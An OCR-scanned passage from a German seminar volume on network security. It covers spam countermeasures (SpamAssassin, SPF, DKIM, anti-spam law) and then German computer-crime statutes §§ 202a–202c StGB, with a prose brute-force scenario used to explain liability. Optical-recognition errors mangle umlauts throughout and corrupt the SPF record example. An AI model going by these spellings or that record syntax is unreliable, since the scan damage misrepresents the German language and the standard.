gut, allerdings miissen die Regeln immer auf dem neusten Stand gehalten werden, da
Spamversender ihre Nachrichten gezielt vor Erkennung durch die bekannten Spamfilter
schiitzen.

e Lernende Verfahren, wie z.B. Bayes-Filter [AKCP*00], basieren auf Benutzerfeedback.
Dabei iibergibt der Benutzer falsch klassifizierte Nachrichten—sowohl false positives
(Ham) als auch nicht erkannten Spam—wieder an den Filter, der sich nach und nach
anpasst. Dabei konnen die Bayes-Bewertungen entweder in einer allgemeinen oder per-
sonlichen Datenbank gespeichert werden. Der grofle Vorteil dieses Verfahren ist, dass es
sich, anders als feste Regeln, an den individuellen E-Mail-Verkehr einer Organisation
oder Einzelperson anpasst.

e Anwendung anderer hier vorgestellter Verfahren wie Blacklists, Hashwertlisten, SPF-
Eintrégen oder DKIM Signaturen.

Das Ergebnis der Klassifikation ist oft ein Wert, der die Wahrscheinlichkeit angibt, dass es
sich bei der Nachricht um Spam handelt. Ab einem gewissen Schwellwert kann die Nachricht
markiert und dann in einen anderen Ordner verschoben oder bei besonders hohem Wert direkt
abgewiesen werden. Listing |3 zeigt einen Ergebnisbericht des Spamfilters SpamAssassin.

Listing 3: Bericht des Spamfilters SpamAssassin im E-Mail-Header
X—Spam—Status: ++++ (4.1)
X—Spam—Report: Spam detection software, running on the system
"somehost.net”, has identified this incoming email
as possible spam.

Content analysis details: (4.1 points, 4.0 required)

pts rule name description

0.5 HTML_40_50 BODY: Message is 40% to 50% HIML

1.9 HTML_IMAGE_ONLY_28 BODY: HIML: images with 2400—2800 \
bytes of words

0.8 HTML MESSAGE BODY: HIML included in message

0.0 BAYES_50 BODY: Bayesian spam probability is \

40 to 60%
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[score: 0.5485]
1.0 MIME_HTML_ONLY BODY: Message only has text/html
MIME parts

5.2.5 Virenscanner

Virenscanner erkennen in Nachrichten enthaltene Viren an Hand von Signaturen. Eine re-
gelmiBige Aktualisierung vorausgesetzt, ist die Erkennungsrate von Viren sehr hoch und die
false-positive Rate sehr niedrig.

5.3 Systemverbessernde MaBBnahmen

Die folgenden Anti-Spam-Mafinahmen, versuchen Probleme des bestehende E-Mail-System
(siehe Abschnitt (3, Ursachen) zu beheben.

5.3.1 Kein Versand iiber Dial-Up-Adressen

Der Versand durch gekaperte Computer kann dadurch eingedimmt werden, dass E-Mail-
Server keine E-Mails direkt von Dial-Up-Adressen annehmen. Diese kénnen an Hand von
Blacklists (siehe Abschnitt[5.2.1)) identifiziert werden. Nutzer dieser Adressen miissen E-Mails
dann iiber den Server ihres E-Mail- Anbieters, iiblicherweise mit Angabe eines Passworts, ver-
senden. Diese Gegenmafinahme ist weitgehend umgesetzt. Der Versand unter Angabe des
Passworts (SMTP-AUTH) wird von allen E-Mail-Anbietern unterstiitzt und viele Server fiih-
ren diese Uberpriifung der Absenderadresse durch.

Diese Mafinahme fiithrt auch dazu, dass der Betrieb eines privaten E-Mail-Servers am heimi-
schen Internetanschluss nicht mehr ohne weiteres moglich ist.

5.3.2 Absenderiiberpriifung

Um die Angabe beliebiger Absenderadressen zu unterbinden und somit die Authentizitdt von
Nachrichten zu sichern, wurden mehrere Verfahren entwickelt, die es ermoglichen, festzulegen,
welche E-Mail-Server E-Mails fiir eine Domain zu versenden.

Beim Sender Policy Framework (SPF, [WoSc06]), wird in einem speziellen DNS-Eintrag ange-
ben, welche Hosts E-Mails fiir diese Domain versenden und ob auch von anderen Hosts Nach-
richten versandt werden diirfen. Diese Eintrige kénnen vom empfangenden E-Mail-Server
abgefragt und iiberpriift werden. Basierend auf dem Ergebnis kann die Nachricht im Fal-
le einer Verletzung einer strikten Angabe abgelehnt werden. Eine erfolgreiche Uberpriifung
kann abschwiichend in die Uberpriifung durch einen Spamfilter einwirken. Das Verfahren er-
moglicht eine schrittweise Einfithrung und bringt auch schon Nutzen, wenn es noch nicht
von allen E-Mail-Anbietern verwendet wird. Ein Nachteil ist, dass zusétzliche Anstrengungen
unternommen miissen, damit das Weiterleiten von Nachrichten, z.B. bei Mailinglisten oder
privaten Weiterleitungen, wie bisher funktionieren kann.

Folgender SPF Eintrag legt fest, dass nur der Server E-Mails fiir die Domain somehost.net
versenden darf, auf den der DNS-Eintrag dieser Domain zeigt.

Listing 4: Beispiel fiir einen SPF Eintrag
somehost . net . 3600 IN T Pv=spfl a —all”
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Das DKIM [ACDL*07] Verfahren nutzt Publik-Key-Kryptographie. Die Nachricht, einschlief3-
lich Headenr?, wird mit einem privaten Schliissel vom Betreiber des E-Mail-Dienstes, der den
Absender durch ein Passwort authentifiziert hat, signiert und kann mit einem o6ffentlichen
Schliissel verifiziert werden. Der 6ffentliche Schliissel wird iiblicherweise iiber einen DNS-
Eintrag bereitgestellt. Das Verfahren unterstiitzen auch die Versffentlichung einer Policy, ob
fiir eine Domain alle versendeten E-Mails signiert sein miissen und erméglicht dadurch —wie
SPD die direkte Ablehnung von Nachrichten, die diese Policy verletzen. Auflerdem kann durch
die Signatur des Nachrichtentextes sichergestellt werden, dass die Nachricht seit der Signatur
nicht verdndert wurde. Das Verfahren wird bereits von Google Mail, Yahoo und einigen ande-
ren groBer E-Mail-Anbietern eingesetzt. Ahnliche Verfahren sind Sender ID und DomainKeys,
der Vorlaufer von DKIM.

Listing 5: Beispiel einer DKIM-Signatur im E-Mail-Header. Signiert wurden die Header-
Angaben Absender, Empfinger, Betreff und Datum.
DKIM-Signature: a=rsa—shal; g=dns;
d=example.com;
i=user@eng .example.com;
s=jun2005.eng; c=relaxed/simple;
t=1117574938; x=1118006938;
h=from:to:subject:date;
b=dzdVyOfAKCdLXdJOc9G2q8LoXSIEniSh
av+yuU4zGeeruD00lszZVoG4ZHRNiYzR

5.3.3 Versandgebiihren

Es gibt Ideen, das Problem des giinstigen Versands von E-Mails zu 16sen. Teurer soll der Ver-
sand entweder durch die Bezahlung von Kleinstbetrégen oder das Lésen von Rechenaufgaben
werden. Die Einfithrung eines Bezahlsystems mit echtem Geld scheint unwahrscheinlich, da
dazu eine zentrale Instanz nétig wére, die alle Benutzer des E-Mail-Systems anerkennen miiss-
ten. Auch das Losen von Rechenaufgaben wird bisher nicht eingesetzt. In beiden Fillen stellt
sich das Problem, dass aufler Spam auch viele legitime Nachrichten, wie z.B. Newsletter, in
grofler Anzahl verschickt werden und diese Verfahrem dem Versender der Nachrichten nicht
zumutbar sind. Auflerdem ist ein schrittweise Einfiihrung der Verfahren nicht moglich.

6 Gesetzeslage

6.1 USA
In den USA trat im Dezember 2003 der CAN-SPAM Act (Controlling the Assault of Non-

Solicited Pornography And Marketing Act of 2003, [Cong03|) in Kraft und zog eine Reihe
von Verurteilungen, einschliefllich Gefangnisstrafen, nach sich.

6.2 Europa

In der EU ist der Begriff fiir Spam ,, Unsolicited Commercial E-Mail“ (UCE) und schliesst da-
mit nicht-kommerzielle Spamnachrichten aus. Am 31. Oktober 2003 trat eine EU-Richtlinie

4Genau genommen wird nicht der komplette Header signiert, sondern es kann angegeben werden, welche
Felder signiert sind.
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zum Datenschutz in Kraft [Unio02], die festlegt, dass E-Mail-Werbung nur mit vorheriger Ein-
willigung der Adressaten versendet werden darf, sofern sie nicht der Aufrechterhaltung einer
bestehenden Kundenbeziehnung dient. Weiterhin verbietet sie vorgetduschte Absender und
ungiiltige Riickadressen, wie Spamversender sie hiufig verwenden. Allerdings ist die Richtlinie
nicht selbst als Gesetz giiltig, sondern muss erst von den Mitgliedstaaten in konkreten Geset-
zen umgesetzt werden. In Deutschland ist das durch das Telemediengesetz (TMG) von 2007
geschehen. Es sieht Bufigelder von bis zu 50.000 EUR fiir den Versand von Spamnachrichten
vor. Allerdings wird Spam auch schon im ,,Gesetz gegen den unlauteren Wettbewerb* (UGW),
aktualisiert am 1. April 2004, explizit erwdhnt. Dieses bietet dem Empfanger allerdings nur
iiber den Umweg von Verbraucherschutzverbédnden eine rechtliche Handhabe.

Anders als in den USA wird Spam in Deutschland nur im Zivil- nicht aber im Strafrecht
behandelt.

6.3 Urteile

Folgende Urteile veranschaulichen den Unterschied zwischen der zusétzlichen strafrechtlichen
Verfolgung in den USA und der zivilrechtlichen in Europa.

e USA, November 2004: Jeremy Jaynes wird auf Grund eines Gesetzes des Staates Virginia
zu 9 Jahren Haft verurteilt. [Brie06

e USA, September 2006: Daniel Lin wird auf Grund des CAN-SPAM-Acts zu einer Geld-
strafe von 10.000 USD und 3 Jahren Geféingnis verurteilt. [Kuri04

e Niederlande, Anfang 2007: Ein Niederléinder wird wegen dem Versand von Spamnach-
richten zu einem Bufigeld von 75.000 EUR verurteilt. [Kuri07

7 Ausblick

Durch die Bekdmpfung offener Relays und des Versands von E-Mails von Dial-Up-Adressen
mit Hilfe von Blacklists wurde der E-Mail-Versand in den letzten Jahren in geordnetere Bah-
nen gelegt. Fortschrittlichere technische Gegenmafinahmen wurden mit ausgekliigelten Tricks
der Spamversender gekontert, haben aber trotzdem zu einem Riickgang der Belastung fiir den
Endbenutzer gefiihrt. Neue Standards, wie das Signaturverfahren DKIM, das immer weiter
Verbreitung findet, lassen aber hoffen, dass durch die Behebung der Schwichen des gegen-
wirtigen E-Mail-Systems der Spamversand in Zukunft drastisch erschwert wird.
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Recht in der IT-Sicherheit

Holger Miller

In dieser Arbeit werden mogliche straf- und zivilrechtliche Folgen der Compu-
terkriminalitidt aufgezeigt. Im strafrechtlichen Abschnitt wird das Ausspéihen von
Daten (§ 202a), das Abfangen von Daten wihrend der Ubermittelung (§ 202b),
die Vorbereitung einer solchen Tat (§ 202c¢) sowie der erforderliche Strafantrag (§
205) behandelt. Aulerdem wird zudem noch auf den Computerbetrug (§ 263a),
die Leistungserschleichung (§ 265a) sowie die Datenmanipulation (§ 303a) und
die Computersabotage (§ 303b) eingegangen. Insbesondere werden dabei die aus
dem 41. Strafinderungsgesetz resultierenden Anderungen hervorgehoben. Im zi-
vilrechtlichen Abschnitt werden die verschiedenen Mdoglichkeiten des Geschadigten
(resultierend aus § 826 BGB, § 823 BGB sowie § 43 BDSG) Schadensersatz ge-
geniiber dem Angreifer zu beanspruchen, vorgestellt. Am Ende dieser Arbeit wird
beispielhaft die Strafbarkeit des sogenannten ,Wardrivings“ aufgezeigt.

1 Einleitung

Am 11.8.2007 ist mit dem Erscheinen im Bundesgesetzblatt das 41. Strafinderungsgesetz
(41.StrAnd Q) zur Bekimpfung der Computerkriminalitit in Kraft getreten. Die meiste Auf-
merksamkeit und Kritik in der Offentlichkeit erlangte die Einfithrung des sogenannten Hacker-
Paragraphen § 202c. Aber auch an anderen Paragraphen wurden Anderungen vorgenommen.
In diesem Teil des Seminarbandes Netzsicherheit und Hackerabwehr WS 07/08 wird die aktu-
elle Rechtslage in der I'T-Sicherheit vorgestellt. Es wird dabei nicht nur auf die strafrechtlichen
Folgen, sondern auch auf die zivilrechtlichen Moglichkeiten der Geschéddigten eingegangen.
Bei den strafrechtlichen Folgen wird ein besonderes Augenmerk auf die Anderungen des 41.
StrAndG gelegt. Die zivilrechtlichen Konsequenzen beschriinken sich auf die Schadensersatz-
anspriiche der Geschédigten gegen den Téter.

2 Strafgesetzbuch

In diesem Abschnitt werden mogliche strafrechtliche Folgen fiir einen Angreifer behandelt.
Dabei werden zu jedem Paragraphen praxisnahe Anwendungsfille aufgezeigt. Insbesondere
werden die Auswirkungen der Anderungen des 41. StrAndG aufgezeigt. Es soll weiterhin kurz
motiviert werden, warum das 41. StrAndG beschlossen wurde.

2.1 Motivation des 41. StrAndG

Die deutschen Rechtsnormen iiber die Computerkriminalitét sind seit ihrer Einfithrung vor
iiber 20 Jahren unverdndert geblieben. Durch den rasanten Fortschritt in der Computerwelt
haben sich aber auch die Mdoglichkeiten des Missbrauchs gedndert und so weisen die deut-
schen Rechtsnormen einige Liicken im Vergleich zu den européischen Nachbarn auf. Da aber
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die Computerkriminalitéit selten vor einer Staatsgrenze halt macht, wurden auf der Ebene des
Furoparats und der Européischen Union Rechtsinstrumente, die der Bekdmpfung der Com-
puterkriminalitit dienen, fiir alle Mitgliedsstaaten gefordert. Bereits am 23.11.2001 wurde ein
Ubereinkommen [oEur01] des Europarates fiir einen Mindeststandard bei den Strafvorschrif-
ten iiber bestimmte schwere Computerkriminalitdt getroffen.

Durch den Rahmenbeschluss 2005/222/J1 der Européischen Union (EU) am 24.2.2005 haben
sich alle Mitgliedsstaaten der EU dazu verpflichtet, schwere Formen der Computerkriminalitét
unter Strafe zu stellen. Auflierdem soll durch eine Angleichung der einzelnen Strafvorschriften
eine internationale Zusammenarbeit bei der Justiz- und Strafverfolgung verbessert werden.
Auf Grund dieses Rahmenbeschlusses musste das deutsche Strafrecht zur Computerkrimina-
litét reformiert werden. Um diese Reformen umzusetzen, wurde das 41. StrAndG entworfen
und mittlerweile beschlossen. Seit dem 11.8.2007 gelten diese Reformen und im Folgenden
sollen daher unter anderem die daraus resultierenden Anderungen vorgestellt werden.

2.2 § 202a Ausspahen von Daten

Der § 202a wird oft als Strafbestimmung gegen den elektronischen Hausfriedensbruch tituliert.
Er schiitzt die Verfiigungsbefugnis iiber Daten unabhéngig von ihrem Wert. Der Paragraph
wurde 1986 erstmalig in das Strafgesetzbuch aufgenommen und ist durch die Anderungen des
41. StrAndG betroffen. Zum Vergleich sind hier die Gesetzestexte beider Versionen aufgefiihrt:

StGB § 202a Ausspihen von Daten (2007)

1. Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht fiir ihn
bestimmt und die gegen unberechtigten Zugang besonders gesichert sind,
unter Uberwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe
bis zu drei Jahren oder mit Geldstrafe bestraft.

2. Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch
oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder iibermittelt
werden.

StGB § 202a Ausspihen von Daten (1986)

1. Wer unbefugt Daten, die nicht fiir ihn bestimmt und die gegen unberechtigten
Zugang besonders gesichert sind, sich oder einem anderen verschafft, wird mit
Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.

2. Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch
oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder {ibermittelt
werden.

2.2.1 Datenbegriff im Sinne des § 202a

Unberiihrt von den Anderungen des 41. StrAndG ist die Definition der Daten geblieben. Da-
ten sind explizit nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahr-
nehmbar gespeichert sind oder iibermittelt werden. Dies bedeutet insbesondere, dass Daten, die
unmittelbar wahrnehmbar gespeichert sind, z.B. im Form eines handschriftlichen Aufschriebs
bzw. Ausdruckes, von dieser Rechtsnorm nicht betroffen sind. Als Beispiel eines Ausspédhens
unmittelbar wahrnehmbarer Daten, wird in [Erns04, Rz. 244] das Ausspihen eines Passwor-
tes, das an einem Monitor angebracht ist, mittels Fernglas genannt.

Wichtig ist zu beachten, dass der Wert der Daten fiir die Strafbarkeit irrelevant ist.
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2.2.2 Anderungen des 41. StrAndG an § 202a

Die wichtigste Anderung des 41. StrAndG betreffend § 202a ist, dass nun auch explizit das
Verschaffen des Zuganges zu Daten schon zum Tatbestand fiihrt. So war nach dem alten
Gesetzestext das ledigliche Uberwinden des Zugriffschutzes (das sog. Hacken eines Systems)
prinzipiell straffrei. Da allerdings der Wert der ausgespéahten Daten selbst irrelevant ist, konn-
te schon damals argumentiert werden, dass allein das Auslesen der Verzeichnisstruktur ein
Ausspéhen von Daten im Sinne des § 202a gewesen wire. Daher war die Praxisrelevanz des
straffreien Hackens schon vor den Anderungen des 41. StrAndG fragwiirdig [Sch606, Rz 10].
Mit den Anderungen des 41. StrAndG ist nun eindeutig geregelt, dass ein solches Verschaffen
eines Zugangs zu geschiitzten Daten schon strafbar ist.

2.2.3 Keine Versuchsstrafbarkeit

Der Versuch, sich geschiitzte Daten bzw. den Zugang zu Daten zu verschaffen, wird allerdings
auch nach dem 41. StrAndG nicht durch den § 202a unter Strafe gestellt. Dadurch liegt
aber eine klare Inkonsistenz mit der Einfithrung des § 202c vor. Dieser stellt ndmlich die
Vorbereitung einer Straftat nach § 202a unter Strafe. Der Versuch ist also straffrei, wahrend
die in der Regel zwingend notwendige Vorbereitung fiir diesen Versuch schon unter Strafe
fallt.

2.2.4 Strafantragserfordernis

Weiterhin bleibt gleich, dass fiir die Verfolgung einer Tat nach § 202a ein Strafantrag des
Verfiigungsberechtigten der ausgespdhten Daten notig ist. Hierzu muss von dem Verfiigungs-
berechtigten innerhalb von einer Frist von 3 Monaten (StGB § 77b) nach Kenntnisnahme der
Tat und der Person des Téters ein Strafantrag bei einem Gericht oder der Staatsanwaltschaft
schriftlich oder zu Protokoll, bei einer anderen Behorde schriftlich eingereicht werden (StPO
§ 158).

Der Verfiigungsberechtigte muss nicht gleichzeitig der Betroffene der ausgespéhten Daten sein.
So hat der BGH in einem Urteil vom 10.5.2005 entschieden, dass beim Fall des Ausspihens
von Daten einer Sparkassen-EC-Karte die Sparkasse der Verfiigungsberechtigte und somit
Strafantragsberechtigte ist und nicht der Karteninhaber.[BGH05

Neu ist, dass mit dem 41. StrAndG auch die Strafverfolgungsbehérde selbst wegen besonderen
offentlichen Interesses eine Strafverfolgung von Amts wegen initiieren kann (Siehe Abschnitt

.

2.2.5 Anforderungen an den Schutz der Daten

Es wird im Speziellen keine Anforderungshdhe an den Schutz der Daten gestellt. Dieser muss
lediglich die Intention des Verfiigungsberechtigten bekunden. Es spielt also keine Rolle, ob
der Schutz auf aktuellem technischen Stand oder veraltet und leicht knackbar ist.

2.2.6 Verschliisselte Daten

Auch verschliisselte Daten genieflen den Schutz des § 202a, da sie durch einen Zugriffsschutz
geschiitzt sind. Allerdings ist hier noch unklar, ob ein Téter sich strafbar macht, wenn er sich
verschliisselte Daten verschafft, diese aber nicht entschliisseln kann, sei es durch sein eige-
nes Unvermogen oder durch die wirksame Verschliisselung durch das Opfer. Da der Versuch
nicht strafbar ist, entstiinde im Falle einer wirksamen Verschliisselung seitens des Opfers eine
ungerechtfertigte Priviligiertheit des Téters nach [Erns07].
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2.2.7 Strafthohe

Vergehen nach § 202a werden mit bis zu 3 Jahren Freiheitstrafe oder Geldstrafe geahndet.

2.2.8 Anwendungsbeispiel des § 202a

Der Sachverhalt des § 202a soll hier anhand eines Praxisbeispiels dargestellt werden.

Der Angreifer Eve findet via ping heraus, dass ein unbekanntes System unter einer bestimmten
IP-Adresse von auflen zu erreichen ist. Diese Information ist nicht besonders geschiitzt bzw.
nicht durch die Uberwindung einer Zugangssicherung erlangt worden und somit nicht durch §
202a geschiitzt. Mit Hilfe dieser Information lisst Eve einen Portscan gegen diese IP-Adresse
laufen. Auch diese Informationen sind ,dffentlich” und somit nicht durch § 202a geschiitzt.
Auf dem betroffenen Computer lauft ein SSH-Daemon und Eve wird nach einer Kombination
aus Benutzername und Passwort gefragt. Eve versucht diese Barriere mit Hilfe eines Brute-
Force-Angriffs zu iiberwinden. Diese Versuche werden durch § 202a noch nicht unter Strafe
gestellt.

Durch ein schwaches Passwort des Benutzers ,,Bob* war der Brute-Force-Angriff erfolgreich
und Eve hat somit Zugang zu Bobs Daten. Wiirde Eve nun an diesem Punkt aufhéren und
z.B. Bob darauf aufmerksam machen, dass sein Passwort gedndert werden sollte, so hitte Eve
sich vor dem 41. StrAndG nicht im Sinne des § 202a schuldig gemacht. Erst wenn er z.B. die
Verzeichnisstruktur ausgelesen hitte (,um sich umzuschauen“), wéire Eve nach dem alten §
202a strafbar geworden. Durch das 41. StrAndG hat Eve schon durch den Erhalt des Zugangs
ein Vergehen nach § 202a begangen.

Bob konnte nun einen Strafantrag stellen.

2.3 StGB § 202b Abfangen von Daten

§ 202b wurde durch das 41. StrAndG dem Strafgesetzbuch hinzugefiigt. Mit dieser Rechts-
norm will der Gesetzgeber das Abfangen von Daten, beispielsweise einer Email, wihrend
der Dateniibertragung unter Strafe stellen. § 202b ergénzt somit insbesondere § 202a durch
die Erweiterung um die Ubermittlungsphase, unabhingig von der Art der Ubermittlung (lei-
tungsgebunden oder ,,wireless* (Funkiibertragung) ). Aulerdem erweitert § 202b auch noch §
201, der auf das gesprochene Wort begrenzt ist.

Der genaue Wortlaut der neuen Rechtsnorm ist im folgenden aufgefiihrt:

StGB § 202b Abfangen von Daten

Wer unbefugt sich oder einem anderen unter Anwendung von technischen Mit-
teln nicht fiir ihn bestimmte Daten (§ 202a Abs. 2) aus einer nichtoffentlichen
Dateniibermittlung oder aus der elektromagnetischen Abstrahlung einer Daten-
verarbeitungsanlage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder
mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschriften mit schwererer
Strafe bedroht ist.

2.3.1 Elektromagnetische Abstrahlung einer Datenverarbeitungsanlage

Unter der elektromagnetischen Abstrahlung einer Datenverarbeitungsanlage ist lediglich
solche elektromagnetische Strahlung gemeint, die nicht der Dateniibertragung dient, sondern
ungewollt bzw. dem Benutzer sogar unbewusst ist [Nadi07]. Ein Beispiel wire die elektroma-
gnetische Strahlung eines Rohrenmonitors, aus der man eventuell auf den Bildschirminhalt
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schlieen konnte. Fille, die den Tatbestand der elektromagnetischen Abstrahlung erfiillen,
werden in der Praxis vermutlich weniger relevant sein. Viel wichtiger ist der Fall des Abfan-
gens von Daten aus einer nichtéffentlichen Datentibermittelung.

2.3.2 Tatbestand

Vor dem 41. StrAndG war das Abfangen einer Email bei der Ubermittlung nur strafbar, wenn
diese Email mit einem besonderen Schutz, wie z.B. durch eine verschliisselte Ubertragung,
geschiitzt war und somit in den Anwendungsbereich des § 202a fiel. Diese Beschrinkung ist
nun durch die Einfithrung des § 202b nicht mehr gegeben. Somit ist das Abfangen einer nicht
fiir sich selbst bestimmten Email nun immer eine Straftat im Sinne § 202b, auch wenn diese
Email iiber ein unverschliisseltes WLAN verschickt wird.

Dem Wortlaut nach sollten nun auch jegliche Man-in-the-Middle Angriffe durch § 202b
erfasst sein. Beim Man-in-the-Middle-Angriff versucht der Angreifer in der Regel mit Hilfe
technischer Mittel zumindest teilweise die Dateniibertragung des Opfers zu einem Dritten
iiber sich laufen zu lassen und sich so unbefugt Zugang zu Daten seines Opfers zu verschaffen.

2.3.3 Einschrankungen des Paragraphen

Im Gesetzestext findet sich die Einschrinkung unter Anwendung von technischen Mitteln.
Diese sollte in der Regel ohne Belang sein, da fiir den Zugriff auf nicht unmittelbar wahr-
nehmbare Daten im Sinne von § 202a und b immer technische Hilfsmittel notwendig sein
werden.

Groflere Schwierigkeiten diirfte die Einschrankung aus einer nichtiffentlichen Datentibermit-
telung bereiten, denn hier ist Interpretationsspielraum gegeben. So ist es nach [Nadi07] aus-
reichend, dass die Ubermittelung objektiv erkennbar fiir einen beschrinkten Nutzerkreis ist.
Auch [Erns07] macht die Nichtoffentlichkeit an der Widmung des Ubermittlers fest. Es ist
also davon auszugehen, dass jegliche Kommunikation in firmeninternen Netzen sowie jeglicher
Emailverkehr prinzipiell als nicht offentlich zu bewerten ist.

2.3.4 Strafantragserfordernis

Wie bei § 202a ist auch bei § 202b nach § 205 ein Strafantrag des Verfiigungsberechtigten des
Rechtsguts nétig, damit die Strafverfolgungsbehorde aktiv werden kann. Eine Ausnahme gilt
auch hier wieder bei besonderem o6ffentlichen Interesse.

2.3.5 Keine Versuchsstrafbarkeit

Der Versuch ist straffrei. Dies ist insbesondere problematisch, da erfolgreiche Angriffe im Sinne
von § 202b (z.B. Man-in-the-Middle, Abfangen von Email) besonders schwer zu entdecken sein
werden.

2.3.6 Strafhohe

Vergehen nach § 202b werden mit einer Freiheitsstrafe von bis zu zwei Jahren bzw. einer
Geldstrafe geahndet. Allerdings tritt § 202b zuriick, wenn schon ein Paragraph mit hoherer
Strafordnung angewendet werden kann. Hier ist insbesondere der § 202a zu nennen, der mit
einer Freiheitsstrafe von bis zu drei Jahren eine hohere Strafandrohung erméglicht.



54 Holger Miller: Rechtliches

2.4 StGB § 202c Vorbereiten des Ausspahens und Abfangens von Daten

Der § 202c wurde wie der § 202b durch das 41. StrAndG dem Strafgesetzbuch hinzugefiigt
und ist die Rechtsnorm, an der die meiste Kritik geiibt wurde.

§ 202¢ beschiftigt sich unter anderem mit der Problematik der sogenannten ,,Hackertools®.
Ein ,,Hackertool“ ist ein Computerprogramm das von vermeintlichen Angreifern (,,Hackern®)
verwendet wird bzw. geschrieben wurde, um iiber eine Schwachstelle in fremde Systeme ein-
zubrechen bzw. an geschiitzte Daten zu kommen. Diese ,,Hackertools sind in der Regel so
aufgebaut, dass auch ein Benutzer mit geringen technischen Verstédndnis diese nutzen kann.
Bisher war das Herstellen und das Vertreiben dieser ,,Hackertools“ nicht strafbar. Dies fiihrte
dazu, dass solche ,,Hackertools“ in Deutschland sogar in Zeitschriftenlédden, bei gewissen Zeit-
schriften als CD-Beilage zum ,, Testen der eigenen Sicherheit” fiir jederman k&uflich erwerbbar
waren. Es ist offensichtlich, dass diese ,,Hackertools“ natiirlich auch zu einem anderen Zwecke
missbraucht werden kénnen.

Auch das Verdffentlichen von Sicherheitsliicken und Passwortlisten war bisher nicht oder nur
kaum vom Gesetzgeber erfasst. Dies éndert sich nun mit dem neuen § 202c.

Im folgenden Paragraphentext des § 202c¢ sind zwar nur die § 202a bzw. § 202b erwéhnt,
doch gilt durch die Referenzierung des § 202c in den Paragraphentexten des § 303a und §
303b, dass eine Vorbereitung einer Tat im Sinne von § 303a (Datenmanipulation) bzw. § 303b
(Computersabotage) ebenso nach § 202c¢ strafbar ist, wie das Vorbereiten einer Tat im Sinne
des § 202a bzw. § 202b.

StGB § 202c Vorbereiten des Ausspidhens und Abfangens von Daten

1. Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er
a) Passworter oder sonstige Sicherungscodes, die den Zugang zu Daten (§
202a Abs. 2) ermoglichen, oder
b) Computerprogramme, deren Zweck die Begehung einer solchen Tat ist,
herstellt, sich oder einem anderen verschafft, verkauft, einem anderen iiber-

lésst, verbreitet oder sonst zugénglich macht, wird mit Freiheitsstrafe bis zu
einem Jahr oder mit Geldstrafe bestraft.

2. § 149 Abs. 2 und 3 gilt entsprechend.

2.4.1 Tatbestand

Als Vorbereitung unterscheidet der § 202c¢ zwei relevante Tatbesténde:
Passworter oder sonstige Sicherungscodes:

§ 202c setzt das Herstellen, Verschaffen, Verkaufen, Uberlassen oder sonst Zugénglich-machen
von Passwortern, die den Zugang zu Daten ermoglichen, als Vorbereitung einer Straftat nach
§ 202a, § 202b unter Strafe.

Hierunter fillt auch das Veroffentlichen der Passworter im World-Wide-Web, das bisher nicht
strafbar gewesen war.

Das Veroffentlichen von Sicherheitsliicken ist dem Wortlaut der Rechtsnorm her nicht erfasst.
Dieser neue Straftatbestand ist eine sinnvolle Erweiterung und zu begriiflen.

Computerprogramme

§ 202c setzt aber nicht nur das Herstellen, Verschaffen usw. von Passwortern und Sicherheits-
codes sondern auch von Computerprogrammen, deren Zweck die Begehung einer solchen Tat
ist, unter Strafe, wenn diese zur Vorbereitung einer Straftat nach § 202a bzw. § 202b dienen.
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Dies ist der am meisten kritisierte Punkt des 41. StrAndG, denn der eigentliche Zweck eines
Computerprogramms ldsst sich nur subjektiv ermitteln. Die gesamte I'T-Sicherheitsbranche
ist aber auf solche Computerprogramme angewiesen, mit denen nicht nur die eigenen Systeme
iiberpriift werden konnen, sondern auch Straftaten im Sinne von § 202a bzw. 202b began-
gen werden koénnten. Insbesondere die Hersteller dieser Computerprogramme miissen darauf
spekulieren, dass ihnen die gute Absicht und der gute Wille unterstellt wird, wenn sie sol-
che Computerprogramme herstellen und in irgendeiner Form zugénglich machen, mit denen
schliellich von Dritten eine Straftat nach § 202a bzw. § 202b begangen werden konnte.

Nach [Erns07, Rz. 46] wird daher den Strafverfolgungsbehérden nichts anderes iibrig bleiben,
als im Regelfall den guten Willen zu unterstellen und im Einzelfall dann einen objektiven
Vorsatz der Begehung einer Straftat nachzuweisen. Es bleibt jedoch nach den objektiven
Straftatbesténden her eine Kriminalisierung einer ganzen Branche, die nur mangels Nachweis
eines Vorsatzes nicht geahndet werden kann.

2.4.2 Strafantrag, Strafhohe und Aufgeben einer vorbereiteten Straftat

Fiir die Verfolgung einer Straftat nach § 202c ist kein Strafantrag nétig, da es ein Gefihr-
dungsdelikt ist und mit keinen Rechtsgiitern Einzelner verbunden ist.

Vergehen gegen den § 202c werden mit einer Freiheitstrafe von bis zu einem Jahr oder Geld-
strafe geahndet.

In Absatz 2 des § 202¢ werden die Absétze 2 und 3 des Paragraphen 149 genannt. Dort wird
festgelegt, dass derjenige, der die Vorbereitung einer Straftat freiwillig aufgibt und die durch
ihn geschaffene Gefahr abwendet, nicht bestraft wird. Dies gilt auch, wenn die Gefahr durch
andere abgewendet wird, der Téter dies aber freiwillig und ernsthaft versucht hat.

StGB § 149 Vorbereitung der Filschung von Geld und Wertzeichen

1. ...
2. Nach Absatz 1 wird nicht bestraft, wer freiwillig

a) die Ausfithrung der vorbereiteten Tat aufgibt und eine von ihm verur-
sachte Gefahr, dal andere die Tat weiter vorbereiten oder sie ausfiihren,
abwendet oder die Vollendung der Tat verhindert und

b) die Félschungsmittel, soweit sie noch vorhanden und zur Félschung
brauchbar sind, vernichtet, unbrauchbar macht, ihr Vorhandensein ei-
ner Behorde anzeigt oder sie dort abliefert.

3. Wird ohne Zutun des Téters die Gefahr, dal andere die Tat weiter vorberei-
ten oder sie ausfithren, abgewendet oder die Vollendung der Tat verhindert,
so geniigt an Stelle der Voraussetzungen des Absatzes 2 Nr. 1 das freiwillige
und ernsthafte Bemiihen des Téters, dieses Ziel zu erreichen.

2.5 § 205 Antragserfordernis

Im folgenden Gesetzestext des § 205 ist der Strafantrag fiir verschiedene Paragraphen geregelt.
Im Rahmen dieser Arbeit sind nur die Paragraphen § 202a und § 202b von Interesse.
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8§ 205 Strafantrag

